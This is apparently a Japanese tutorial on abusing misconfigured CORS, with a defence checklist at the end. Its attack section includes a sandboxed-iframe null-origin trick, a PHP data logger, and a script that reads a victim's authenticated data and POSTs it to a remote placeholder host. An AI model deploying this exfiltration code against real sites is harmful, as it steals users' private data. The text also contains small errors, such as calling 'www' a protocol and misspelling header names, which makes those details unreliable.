クロスオリジンリソース共有(CORS)は、ブラウザの同一オリジンポリシーを緩和し、異なるウェブサイトと異なるサーバー間で通信を可能にします
1. 同一オリジンポリシー#
同一オリジンポリシーは非常に重要なセキュリティポリシーであり、特定のオリジンのドキュメントまたはそのドキュメントがロードするスクリプトが、別のオリジンのリソースとどのように相互作用できるかを制限するために使用されます。要するに、同一オリジンポリシーは、ページ上で実行される JavaScript などのスクリプトが、同じウェブサイト(同一オリジン)内の他のスクリプトのメソッドやプロパティに制限なくアクセスできることを許可します。ここで言及されているポイントは「同一オリジン」
同一オリジンとは何ですか?
- 同じプロトコル(例:両方が www である)
- 同じドメイン(ドメインとそのサブドメインは同一オリジンではありません)
- 同じポート(例:両方が 80 ポートである)
実際には、URL の最初のいくつかの部分です。
同一オリジンポリシーの説明はここまでですが、詳細を知りたい場合はここをクリックしてください
2. CORS とは#
Web2.0 の時代には、同一オリジンポリシーの制限が厳しすぎるため、同一オリジンポリシーの制限を緩和する技術であるクロスオリジンリソース共有(CORS)が登場しました。
このメカニズムは、HTTP ヘッダーにフィールドを追加することで、ブラウザがクロスオリジンサーバーに対して XMLHttpRequest リクエストを送信できるようにします。これにより、AJAX が同一オリジンの使用に制限される問題を克服することができます。
ブラウザで送信する際に、リクエストヘッダーに自動的に Origin フィールドが追加され、サーバーは Origin フィールドが許可されているかどうかを検証します。許可されている場合、クロスオリジンアクセスが可能になります {
CORS の標準定義は、HTTP ヘッダーフィールドを設定することで、クライアントがリソースにクロスオリジンアクセスできるようにします。
CORS には 2 種類のクロスオリジンリクエストが定義されています:
- シンプルリクエスト:指定されたリクエスト方法でリソースを要求します
- シンプルでないリクエスト:オプションのプリフライトリクエストを送信し、リクエスト元がサーバーで許可されているかどうかを検証します。プリフライトが成功した場合、リクエストを送信してリソースを要求します。
主なヘッダーフィールド:
-
Origin:プリフライトリクエストまたは実際のリクエストのソースを示します
-
Access-Control-Request-Method:プリフライトリクエストで使用される実際のリクエストの HTTP メソッドをサーバーに伝えるために使用されます
-
Access-Control-Request-Headers:プリフライトリクエストで使用される実際のリクエストで送信されるヘッダーフィールドをサーバーに伝えるために使用されます
-
Access-Control-Allow-Origin:このフィールドの値は、リクエスト時の Origin フィールドの値または *(* は任意のドメインを受け入れることを示します)にすることができます
-
Access-Control-Allow-Credentials :このフィールドはブール値であり、true の場合、クッキーをリクエストと共にサーバーに送信できることを示します
3. CORS の攻撃と利用#
脆弱性の利用の最終目標は、「被害者が攻撃ページにアクセスするだけで、攻撃者が機密情報を取得できるようにすること」です。
3.1 ユーザー認証情報を持つ利用#
Access-Control-Allow-Origin の値 | Access-Control-Allow-Credentials の値 | 利用可能か |
---|---|---|
https://attacker.com | true | はい |
null | true | はい |
* | true | いいえ |
3.2 ユーザー認証情報がない利用#
この場合、クッキーは転送されないため、攻撃者はクッキーを取得するのが難しいです。
Access-Control-Allow-Origin の値 | 利用可能か |
---|---|
https://attacker.com | はい |
null | はい |
* | はい |
上記の表の null のソースは、ページのリダイレクトまたはローカル HTML ファイルからのものです。
3.2.1 null ソースの利用#
null ソースを取得するためにサンドボックス iframe を使用します。
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
上記の iframe を使用して、次のようなリクエストが生成されます:
GET /handler
Host: target.local
Origin: null
サーバーは null ソースを受け取り、次のようなレスポンスを返します:
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
3.3 XMLHttpRequest を使用した攻撃#
- リモートサーバーで記録コードを準備します(機密情報を取得するため)
<?php
$data = $_POST['hack'];
if($data){
$myfile = fopen("hacker.html","w");
fwrite($myfile,$data);
fclose($myfile);
}
- 攻撃ページを作成します
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://xxxxxx/hack.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("hack123"+escape(data));
}
}
xhr.open("GET",'http://xxxx/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
- 被害者が攻撃ページにアクセスすると、サーバーに機密情報が記録されます
4. いくつかの利用ツール#
- ブルースイートには CORS チェックが組み込まれていますが、誤検出率が高いです
- X-ray 検出
- CORScanner
5. CORS の防御#
- リクエストパケットの Origin の値を厳密に検証する
- Access-Control-Allow-Origin フィールドの値を * に設定しない
- Access-Control-Allow-Credentials: true の使用を避ける
- OCRS の使用を避ける
- ホワイトリストを定義する
- セキュリティプロトコルの使用
- キャッシュ時間の制限
- 必要なヘッダーのみを設定する